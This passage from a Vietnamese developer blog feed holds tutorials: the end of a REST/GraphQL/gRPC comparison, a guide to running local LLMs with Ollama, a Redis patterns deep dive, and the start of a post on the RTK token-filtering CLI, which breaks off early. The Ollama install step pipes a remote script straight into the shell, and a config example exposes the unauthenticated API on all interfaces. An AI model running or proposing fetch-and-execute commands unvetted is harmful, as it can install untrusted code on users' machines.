| Schema | Không (hoặc OpenAPI) | Có (SDL) | Có (proto) bắt buộc |
| Code gen | Thủ công hoặc OpenAPI | Gen từ schema | Gen từ proto |
| Streaming | Server-Sent Events | Subscription | Bidirectional |
| Browser support | Native | Native | Cần grpc-web hoặc proxy |
| Payload size | Lớn (JSON) | Trung bình | Nhỏ (binary) |
| Tốc độ encode | Chậm | Trung bình | Nhanh |
| Học | Thấp | Trung bình | Cao (proto + HTTP/2) |
| Công cụ | curl, Postman | Playground | grpcurl, Postman |&lt;/p&gt;
&lt;h2&gt;Khi Nào Dùng Cái Nào?&lt;/h2&gt;
&lt;p&gt;gRPC — internal microservices communication&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Service-to-service: latency sensitive, throughput cao&lt;/li&gt;
&lt;li&gt;Streaming data: real-time feed, chat, log shipping&lt;/li&gt;
&lt;li&gt;Polyglot environment: nhiều ngôn ngữ, cần code gen&lt;/li&gt;
&lt;li&gt;Ví dụ: Netflix, Uber, Spotify dùng gRPC cho internal traffic&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;REST — external/public API&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Browser/ mobile app gọi API&lt;/li&gt;
&lt;li&gt;Third-party integration&lt;/li&gt;
&lt;li&gt;Cần caching (HTTP cache)&lt;/li&gt;
&lt;li&gt;Developer familiarity (curl, Postman, mọi người đều biết)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;GraphQL — complex data fetching&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nhiều client khác nhau cần data khác nhau&lt;/li&gt;
&lt;li&gt;Frontend team muốn tự do select fields&lt;/li&gt;
&lt;li&gt;Dashboard, mobile app với nhiều màn hình&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Pattern Phổ Biến&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[Browser/Mobile] → REST/GraphQL → [API Gateway] → gRPC → [Microservices]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Netflix, Spotify, Mercari đều dùng pattern này. Bên ngoài là REST/GraphQL, bên trong là gRPC.&lt;/p&gt;
&lt;h2&gt;gRPC Trong Thực Tế&lt;/h2&gt;
&lt;p&gt;Netflix — 10,000+ services nói chuyện với nhau qua gRPC, xử lý hàng tỷ request/ngày.&lt;/p&gt;
&lt;p&gt;Spotify — thay thế in-house RPC framework Hermes bằng gRPC + Envoy, giảm độ phức tạp vận hành.&lt;/p&gt;
&lt;p&gt;Uber — dùng gRPC cho toàn bộ internal traffic, với Envoy làm sidecar proxy.&lt;/p&gt;
&lt;p&gt;Cloudflare — hỗ trợ gRPC over HTTP/3 (QUIC) trên CDN, giảm latency 47% trên mobile network.&lt;/p&gt;
&lt;h2&gt;Giới Hạn&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Browser support: gRPC-Web cần proxy (Envoy) hoặc grpc-web client&lt;/li&gt;
&lt;li&gt;Không dùng curl: Cần grpcurl hoặc Postman&lt;/li&gt;
&lt;li&gt;Human-readable: Protobuf binary, cần tool để decode&lt;/li&gt;
&lt;li&gt;Load balancing: HTTP/2 multiplexing phải được hỗ trợ bởi LB&lt;/li&gt;
&lt;li&gt;HTTP/3: Còn experimental cho gRPC, chưa production-ready&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;REST và GraphQL không sai — nhưng chúng sinh ra cho client-server communication. gRPC sinh ra cho service-to-service.&lt;/p&gt;
&lt;p&gt;Nếu bạn đang xây dựng hệ thống microservices, đặc biệt với nhiều ngôn ngữ khác nhau, gRPC là lựa chọn tối ưu: Protobuf nhỏ hơn JSON 10x, HTTP/2 multiplexing, bidirectional streaming, code gen tự động.&lt;/p&gt;
&lt;p&gt;API Gateway nhận REST/GraphQL từ frontend, chuyển thành gRPC cho internal services — đó là kiến trúc đang chạy ở Netflix, Uber, Spotify, và hàng ngàn công ty khác.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://grpc.io/docs/&quot;&gt;gRPC Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://protobuf.dev/&quot;&gt;Protocol Buffers Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://grpc.io/docs/guides/concepts/#server-streaming-rpc&quot;&gt;gRPC — HTTP/2 Streaming&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://grpc.io/docs/platforms/web/&quot;&gt;gRPC-Web Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://protobuf.dev/programming-guides/proto3/&quot;&gt;Protobuf Language Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Chạy AI Local Với Ollama — Hướng Dẫn Từ A Đến Z</title><link>https://dopana-blog.pages.dev/blog/ollama-local-ai</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ollama-local-ai</guid><description>Ollama cho phép chạy LLM trên máy bạn hoàn toàn miễn phí, không internet, không API key. Hướng dẫn cài đặt, API, và tích hợp code.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chạy AI trên cloud tiện — nhưng có ba vấn đề: tốn phí theo request, rate limit, và dữ liệu nhạy cảm phải gửi lên server người khác. Ollama giải quyết tất cả: một tool mã nguồn mở cho phép bạn chạy LLM hoàn toàn trên máy mình, không internet, không API key, không giới hạn.&lt;/p&gt;
&lt;h2&gt;Ollama Là Gì?&lt;/h2&gt;
&lt;p&gt;Ollama là runtime mã nguồn mở (95k+ sao GitHub) để tải, quản lý và chạy LLM local. Think of it như Docker cho AI models — một lệnh pull, một lệnh run, và bạn đang chat với Llama 3, Mistral, Qwen, Gemma ngay trên terminal.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;ollama pull llama3.2
ollama run llama3.2
&gt;&gt;&gt; viết một bài thơ về Rust
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau lần tải đầu tiên, không cần internet. Model chạy hoàn toàn trên CPU hoặc GPU của bạn.&lt;/p&gt;
&lt;h2&gt;Tại Sao Nên Chạy AI Local?&lt;/h2&gt;
&lt;p&gt;| Vấn đề | Cloud API | Ollama (local) |
|---|---|---|
| Chi phí | Theo token, có thể $100-1000/tháng | 0đ — chỉ tốn điện |
| Privacy | Gửi dữ liệu lên server bên thứ ba | 100% local |
| Rate limit | Có (requests/phút) | Không |
| Offline | Không | Có |
| Latency | ~500ms-2s (network) | ~50ms-200ms (GPU) |&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;h3&gt;macOS&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install ollama
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Linux&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -fsSL https://ollama.com/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Windows&lt;/h3&gt;
&lt;p&gt;Tải installer từ &lt;a href=&quot;https://ollama.com/download&quot;&gt;ollama.com/download&lt;/a&gt;. Hỗ trợ native Windows (không cần WSL2).&lt;/p&gt;
&lt;h3&gt;Docker&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -d -p 11434:11434 --name ollama ollama/ollama
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau cài đặt, Ollama chạy ngầm và expose REST API tại &lt;code&gt;http://localhost:11434&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Tải Và Chạy Model&lt;/h2&gt;
&lt;h3&gt;Các Lệnh Cơ Bản&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Liệt kê model có sẵn
ollama list

# Tải model
ollama pull llama3.2 # 3B params, ~2GB
ollama pull mistral # 7B params, ~4GB
ollama pull qwen2.5:7b # 7B params, ~4.5GB
ollama pull gemma3:12b # 12B params, ~8GB

# Chạy interactive chat
ollama run llama3.2

# Chạy một câu hỏi
ollama run mistral &quot;giải thích blockchain trong 2 câu&quot;

# Xoá model
ollama rm llama3.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Chọn Model Nào?&lt;/h3&gt;
&lt;p&gt;| Model | Tham số | RAM | Chất lượng | Dùng cho |
|---|---|---|---|---|
| Llama 3.2 | 3B | ~2GB | Tốt | General, coding cơ bản |
| Mistral | 7B | ~4GB | Khá | General, hỗ trợ tool calling |
| Qwen 2.5 | 7B-32B | ~4-20GB | Rất tốt | Coding mạnh, đa ngôn ngữ |
| Gemma 3 | 12B-27B | ~8-18GB | Xuất sắc | General, reasoning |
| DeepSeek R1 | 7B-70B | ~4-43GB | Tốt nhất | Reasoning, toán, code |
| Phi-4 | 14B | ~9GB | Tốt | Code, nhẹ hơn cùng size |&lt;/p&gt;
&lt;p&gt;Rule of thumb: máy 8GB RAM chạy 7B model, 16GB chạy 14B-32B, 32GB+ chạy 70B.&lt;/p&gt;
&lt;h2&gt;REST API&lt;/h2&gt;
&lt;p&gt;Ollama expose API tại &lt;code&gt;localhost:11434&lt;/code&gt;. Hai interface:&lt;/p&gt;
&lt;h3&gt;Native API&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chat
curl http://localhost:11434/api/chat \
  -d &apos;{&quot;model&quot;:&quot;mistral&quot;,&quot;messages&quot;:[{&quot;role&quot;:&quot;user&quot;,&quot;content&quot;:&quot;Xin chào&quot;}]}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;OpenAI-Compatible API&lt;/h3&gt;
&lt;p&gt;Ollama hỗ trợ endpoint &lt;code&gt;/v1/chat/completions&lt;/code&gt; tương thích hoàn toàn với OpenAI SDK. Chỉ cần đổi &lt;code&gt;base_url&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from openai import OpenAI

client = OpenAI(
    base_url=&quot;http://localhost:11434/v1&quot;,
    api_key=&quot;ollama&quot;  # SDK yêu cầu, Ollama bỏ qua
)

response = client.chat.completions.create(
    model=&quot;mistral&quot;,
    messages=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;Giải thích async/await trong JavaScript&quot;}]
)

print(response.choices[0].message.content)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích: mọi code đang dùng OpenAI API có thể chạy local chỉ bằng đổi &lt;code&gt;base_url&lt;/code&gt;. LangChain, LlamaIndex, AutoGen đều hoạt động.&lt;/p&gt;
&lt;h2&gt;Tích Hợp Python&lt;/h2&gt;
&lt;h3&gt;Dùng thư viện chính thức&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install ollama
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import ollama

response = ollama.chat(model=&apos;mistral&apos;, messages=[
    {&apos;role&apos;: &apos;user&apos;, &apos;content&apos;: &apos;Viết một function Python tính Fibonacci&apos;}
])

print(response[&apos;message&apos;][&apos;content&apos;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Streaming&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;stream = ollama.chat(model=&apos;mistral&apos;, messages=[
    {&apos;role&apos;: &apos;user&apos;, &apos;content&apos;: &apos;Kể chuyện dài 100 từ&apos;}
], stream=True)

for chunk in stream:
    print(chunk[&apos;message&apos;][&apos;content&apos;], end=&apos;&apos;, flush=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Structured Output (JSON)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;response = ollama.chat(model=&apos;qwen2.5&apos;, messages=[
    {&apos;role&apos;: &apos;user&apos;, &apos;content&apos;: &apos;Liệt kê 3 ngôn ngữ lập trình phổ biến&apos;}
], format=&apos;json&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Xây Dựng Local RAG&lt;/h2&gt;
&lt;p&gt;Ollama + ChromaDB = RAG pipeline hoàn toàn local:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import ollama
import chromadb

# Tạo embedding local
embedding = ollama.embeddings(model=&apos;nomic-embed-text&apos;, prompt=&apos;Nội dung cần index&apos;)

# Lưu vào ChromaDB
chroma_client = chromadb.Client()
collection = chroma_client.create_collection(&quot;docs&quot;)
collection.add(
    embeddings=[embedding[&apos;embedding&apos;]],
    documents=[&quot;Nội dung tài liệu&quot;],
    ids=[&quot;doc_1&quot;]
)

# Query
results = collection.query(
    query_embeddings=[ollama.embeddings(
        model=&apos;nomic-embed-text&apos;, prompt=&apos;Câu hỏi&apos;
    )[&apos;embedding&apos;]],
    n_results=3
)

# Generate với context
context = &quot;\n&quot;.join(results[&apos;documents&apos;][0])
response = ollama.chat(model=&apos;mistral&apos;, messages=[
    {&apos;role&apos;: &apos;system&apos;, &apos;content&apos;: f&apos;Trả lời dựa trên context:\n{context}&apos;},
    {&apos;role&apos;: &apos;user&apos;, &apos;content&apos;: &apos;Câu hỏi&apos;}
])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cấu Hình Quan Trọng&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Bind ra tất cả interface (để dùng từ máy khác)
OLLAMA_HOST=0.0.0.0:11434 ollama serve

# Giữ model resident, không unload
OLLAMA_KEEP_ALIVE=-1 ollama serve

# Parallel requests
OLLAMA_NUM_PARALLEL=4 ollama serve

# Flash attention (giảm RAM, tăng tốc)
OLLAMA_FLASH_ATTENTION=1 ollama serve

# Context window lớn hơn
OLLAMA_CONTEXT_LENGTH=16384 ollama serve
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ollama Với AI Coding Agent&lt;/h2&gt;
&lt;p&gt;Ollama hoạt động như backend cho hầu hết AI coding tools nhờ OpenAI-compatible API:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# OpenCode
opencode --model ollama:mistral

# Continue.dev (VS Code)
# config.json: { &quot;models&quot;: [{ &quot;provider&quot;: &quot;ollama&quot;, &quot;model&quot;: &quot;mistral&quot; }] }

# Claude Code (qua proxy)
# Chỉ OLLAMA_HOST, dùng công cụ như &apos;ollama-serve&apos; để convert API
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Giới Hạn&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Model nhỏ hơn cloud — Llama 3 70B chạy local cần 43GB RAM. GPT-4 không có bản local.&lt;/li&gt;
&lt;li&gt;Tốc độ — GPU tầm trung (RTX 3060) đạt ~20-30 token/s cho 7B model. Cloud nhanh hơn.&lt;/li&gt;
&lt;li&gt;Không fine-tuning — Ollama chạy pre-trained model, không train.&lt;/li&gt;
&lt;li&gt;Tool calling — Chỉ một số model hỗ trợ (Llama 3.1+, Qwen 2.5, Mistral).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Ollama là công cụ không thể thiếu cho bất kỳ ai làm việc với AI coding agent. Miễn phí, private, không rate limit — chạy trên Docker một lệnh, API tương thích OpenAI, tích hợp với mọi framework.&lt;/p&gt;
&lt;p&gt;Cài ngay hôm nay, pull Mistral, và thử thay thế hoàn toàn cloud API cho workflow hàng ngày. Bạn sẽ ngạc nhiên vì chất lượng 7B model trên máy local.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ollama.com/&quot;&gt;Ollama Official Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ollama/ollama&quot;&gt;Ollama GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ollama/ollama/blob/main/docs/api.md&quot;&gt;Ollama API Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ollama.com/blog/openai-compatibility&quot;&gt;Ollama — OpenAI Compatibility&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ollama/ollama-python&quot;&gt;Ollama Python Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.trychroma.com/&quot;&gt;ChromaDB Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Redis — Cache, Session, Pub/Sub, Rate Limit, Queue</title><link>https://dopana-blog.pages.dev/blog/redis-deep-dive</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/redis-deep-dive</guid><description>Redis in-memory data store: cấu trúc dữ liệu, caching patterns, pub/sub, rate limiting, và distributed lock.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Redis là in-memory data store nhanh nhất — dùng để cache, session, pub/sub, queue, rate limiting. Đa năng hơn bạn nghĩ.&lt;/p&gt;
&lt;h2&gt;Data Structures&lt;/h2&gt;
&lt;h3&gt;String — Cache Cơ Bản&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SET user:123 &apos;{&quot;name&quot;:&quot;Alice&quot;}&apos; EX 3600
GET user:123
INCR page:views
INCRBY counter 5
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;List — Queue / Stack&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Queue (FIFO)
LPUSH notifications:user_123 &quot;New message&quot;
RPOP notifications:user_123

# Stack (LIFO)
LPUSH stack:actions &quot;action1&quot;
LPOP stack:actions

# Range
LRANGE messages:room_abc 0 -1 # Tất cả
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Set — Unique Items&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SADD post:42:likes user_123
SADD post:42:likes user_456
SCARD post:42:likes # 2
SISMEMBER post:42:likes user_123 # 1 (true)
SINTER post:42:likes post:99:likes # Intersection
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sorted Set — Leaderboard&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ZADD leaderboard 1000 &quot;player_1&quot;
ZADD leaderboard 2500 &quot;player_2&quot;
ZADD leaderboard 1500 &quot;player_3&quot;

ZREVRANGE leaderboard 0 2 WITHSCORES # Top 3
ZRANK leaderboard player_2 # Rank
ZINCRBY leaderboard 500 player_1 # +500 điểm
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hash — Object&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HSET user:123 name &quot;Alice&quot; email &quot;alice@example.com&quot; age 30
HGET user:123 name
HGETALL user:123
HINCRBY user:123 age 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Caching Patterns&lt;/h2&gt;
&lt;h3&gt;Cache Aside (Phổ biến nhất)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function getUser(id: number) {
  // 1. Check cache
  const cached = await redis.get(`user:${id}`);
  if (cached) return JSON.parse(cached);

  // 2. Cache miss → query DB
  const user = await db.user.findUnique({ where: { id } });

  // 3. Set cache
  if (user) {
    await redis.setex(`user:${id}`, 3600, JSON.stringify(user));
  }

  return user;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cache Penetration — Khi Data Không Tồn Tại&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function getUser(id: number) {
  const cached = await redis.get(`user:${id}`);

  // Cache empty value cho key không tồn tại
  if (cached === &apos;NULL&apos;) return null;
  if (cached) return JSON.parse(cached);

  const user = await db.user.findUnique({ where: { id } });
  if (!user) {
    await redis.setex(`user:${id}`, 300, &apos;NULL&apos;); // Cache 5 phút
    return null;
  }

  await redis.setex(`user:${id}`, 3600, JSON.stringify(user));
  return user;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cache Breakdown — Khi Key Hết Hạn&lt;/h3&gt;
&lt;p&gt;Dùng mutex lock — chỉ một request được query DB:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function getHotData() {
  const cached = await redis.get(&apos;hot:data&apos;);
  if (cached) return JSON.parse(cached);

  // Lock — chỉ một request query DB
  const lock = await redis.setnx(&apos;lock:hot:data&apos;, &apos;1&apos;);
  if (lock) {
    await redis.expire(&apos;lock:hot:data&apos;, 5);
    const data = await expensiveQuery();
    await redis.setex(&apos;hot:data&apos;, 60, JSON.stringify(data));
    await redis.del(&apos;lock:hot:data&apos;);
    return data;
  }

  // Wait và retry
  await sleep(100);
  return getHotData();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cache Stampede — Preload Trước Khi Hết Hạn&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function getConfig() {
  const TTL = 3600;
  const cached = await redis.get(&apos;app:config&apos;);

  if (cached) {
    const ttl = await redis.ttl(&apos;app:config&apos;);
    // Sắp hết hạn? Refresh async
    if (ttl &amp;#x3C; 300) {
      refreshConfig(); // Không await
    }
    return JSON.parse(cached);
  }

  return refreshConfig();
}

async function refreshConfig() {
  const config = await db.config.findMany();
  await redis.setex(&apos;app:config&apos;, 3600, JSON.stringify(config));
  return config;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Session Store&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import session from &apos;express-session&apos;;
import RedisStore from &apos;connect-redis&apos;;

app.use(session({
  store: new RedisStore({ client: redis }),
  secret: process.env.SESSION_SECRET!,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,
    maxAge: 24 * 60 * 60 * 1000, // 24h
  },
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pub/Sub — Real-time Message&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Publisher
await redis.publish(&apos;channel:notifications&apos;, JSON.stringify({
  type: &apos;order.created&apos;,
  orderId: 123,
  userId: 456,
}));

// Subscriber
const subscriber = redis.duplicate();
await subscriber.subscribe(&apos;channel:notifications&apos;, (message) =&gt; {
  const event = JSON.parse(message);
  console.log(&apos;Received:&apos;, event);
  // Gửi WebSocket cho user, send email, etc.
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rate Limiting — Sliding Window&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function checkRateLimit(key: string, limit: number, windowSec: number) {
  const now = Date.now();
  const windowStart = now - windowSec * 1000;

  const multi = redis.multi();
  multi.zRemRangeByScore(key, 0, windowStart); // Xoá entries cũ
  multi.zCard(key);                              // Đếm entries
  multi.zAdd(key, { score: now, value: `${now}` });
  multi.expire(key, windowSec);

  const results = await multi.exec();
  const count = results[1][1] as number;

  return {
    allowed: count &amp;#x3C;= limit,
    remaining: Math.max(0, limit - count),
    resetAt: Math.ceil((windowStart + windowSec * 1000) / 1000),
  };
}

// Usage
app.use(&apos;/api/auth&apos;, async (req, res, next) =&gt; {
  const { allowed, remaining } = await checkRateLimit(req.ip, 10, 60);
  res.set(&apos;X-RateLimit-Remaining&apos;, remaining.toString());

  if (!allowed) {
    return res.status(429).json({ error: &apos;Too many requests&apos; });
  }
  next();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Distributed Lock&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function withLock&amp;#x3C;T&gt;(key: string, ttl: number, fn: () =&gt; Promise&amp;#x3C;T&gt;): Promise&amp;#x3C;T&gt; {
  const lockKey = `lock:${key}`;
  const lockValue = crypto.randomUUID();

  const acquired = await redis.set(lockKey, lockValue, &apos;PX&apos;, ttl, &apos;NX&apos;);
  if (!acquired) {
    throw new Error(&apos;Could not acquire lock&apos;);
  }

  try {
    return await fn();
  } finally {
    // Lua script — atomic unlock
    const script = `
      if redis.call(&quot;get&quot;, KEYS[1]) == ARGV[1] then
        return redis.call(&quot;del&quot;, KEYS[1])
      else
        return 0
      end
    `;
    await redis.eval(script, 1, lockKey, lockValue);
  }
}

// Usage
await withLock(&apos;payment:order_123&apos;, 5000, async () =&gt; {
  // Chỉ một process xử lý payment
  await processPayment(orderId);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Queue — BullMQ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { Queue, Worker } from &apos;bullmq&apos;;

const emailQueue = new Queue(&apos;email&apos;, { connection: redis });

// Producer
await emailQueue.add(&apos;send-welcome&apos;, {
  to: &apos;alice@example.com&apos;,
  template: &apos;welcome&apos;,
  userId: 123,
}, {
  attempts: 3,
  backoff: { type: &apos;exponential&apos;, delay: 2000 },
});

// Consumer
const worker = new Worker(&apos;email&apos;, async (job) =&gt; {
  const { to, template } = job.data;
  await sendEmail(to, template);
  console.log(`Email sent to ${to}`);
}, { connection: redis });

worker.on(&apos;completed&apos;, (job) =&gt; console.log(`Job ${job.id} completed`));
worker.on(&apos;failed&apos;, (job, err) =&gt; console.error(`Job ${job.id} failed:`, err));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HyperLogLog — Đếm Unique&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Đếm unique visitors — chỉ dùng 12KB, sai số ~2%
PFADD page:visits:2024-01-01 ip_1 ip_2 ip_3
PFADD page:visits:2024-01-01 ip_1 ip_4
PFCOUNT page:visits:2024-01-01 # 4
PFMERGE page:visits:2024-01 page:visits:2024-01-01 page:visits:2024-01-02
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Persistence&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# RDB — snapshot định kỳ (mặc định)
save 900 1 # 15 phút nếu có 1 thay đổi
save 300 10 # 5 phút nếu có 10 thay đổi
save 60 10000 # 1 phút nếu có 10000 thay đổi

# AOF — log mọi write (chậm hơn nhưng an toàn hơn)
appendonly yes
appendfsync everysec # Sync mỗi giây
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Redis đa năng hơn &quot;cache đơn thuần&quot;:&lt;/p&gt;
&lt;p&gt;| Use case | Cấu trúc |
|---|---|
| Cache | String + TTL |
| Session | String hoặc Hash |
| Rate limiting | Sorted Set + ZRem |
| Queue | List hoặc BullMQ |
| Pub/Sub | Pub/Sub channels |
| Distributed lock | String + NX + Lua |
| Leaderboard | Sorted Set |
| Unique counter | HyperLogLog |&lt;/p&gt;
&lt;p&gt;Install: &lt;code&gt;brew install redis&lt;/code&gt; hoặc Docker. Production: Redis Cluster hoặc managed (Upstash, Redis Cloud).&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/&quot;&gt;Redis Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/commands/&quot;&gt;Redis Command Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bullmq.io/&quot;&gt;BullMQ — Redis-backed Queue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://upstash.com/docs/redis/overall/getstarted&quot;&gt;Upstash — Serverless Redis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.com/ebook/redis-in-action/&quot;&gt;Redis in Action by Josiah L. Carlson&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RTK — Rust Token Killer, Cắt Token AI Đến 90%</title><link>https://dopana-blog.pages.dev/blog/rtk-intro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/rtk-intro</guid><description>RTK là CLI proxy mã nguồn mở viết bằng Rust, tự động lọc và nén output của 100+ lệnh dev trước khi vào context LLM.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mỗi lần AI coding tool chạy &lt;code&gt;git status&lt;/code&gt;, &lt;code&gt;cargo test&lt;/code&gt;, hay &lt;code&gt;ls -la&lt;/code&gt;, hàng nghìn token bị lãng phí vào output thừa — comment, boilterplate, ASCII art, log trùng lặp. RTK (Rust Token Killer) giải quyết vấn đề đó: một CLI proxy nằm giữa agent và shell, lọc output ngay tại chỗ.&lt;/p&gt;
&lt;h2&gt;RTK Là Gì?&lt;/h2&gt;
&lt;p&gt;RTK là CLI proxy mã nguồn mở (67k+ sao GitHub), viết hoàn toàn bằng Rust, zero dependency runtime. Nó đứng giữa AI agent và shell command, tự động lọc và nén output trước khi agent nhìn thấy.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Agent → git status → RTK → git → output gốc (2,000 tokens)
                    ↓
              RTK filter
                    ↓
         Output đã nén (~200 tokens)
&lt;/code&gt;&lt;/pre&gt;
